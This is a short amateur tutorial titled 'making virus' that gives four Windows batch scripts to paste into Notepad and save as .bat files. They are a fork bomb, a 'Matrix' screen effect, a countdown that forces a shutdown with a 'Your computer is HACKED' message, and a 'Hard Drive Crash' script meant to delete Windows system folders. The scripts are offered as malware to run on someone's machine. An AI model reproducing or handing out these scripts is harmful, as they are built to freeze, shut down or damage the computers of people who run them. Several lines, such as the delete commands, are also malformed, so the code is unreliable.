making virus

1st A Low virus
write this in notepad :

:A
Start
Start
Start
goto A

and save as *.bat

2nd The MATRIX
write this in notepad :

@echo off
:A
color 0a
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo D K 6 h 2 h k 1 O R 2 h k 1 O R 4 g a 0 K 5 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
goto A

save as *.bat

3rd The TIMER
write this in notepad :

@echo off
title Timer
set time=60
:loop
set /a time=%time%-1
if %time%==0 goto timesup
echo %time%
ping localhost -n 0 > null
cls
goto loop
:timesup
echo Time is up!
echo •
echo •
echo •
echo Press any key to exit...
pause
shutdown -s -t 30 -c "Your computer is HACKED

save as *.bat

4th Hard Drive Crash
write this in notepad :

@ echo off del c:\\windows\system 32
@ echo off del c:\\windows\system
@ echo off del c:\\windows\repair

save as *.bat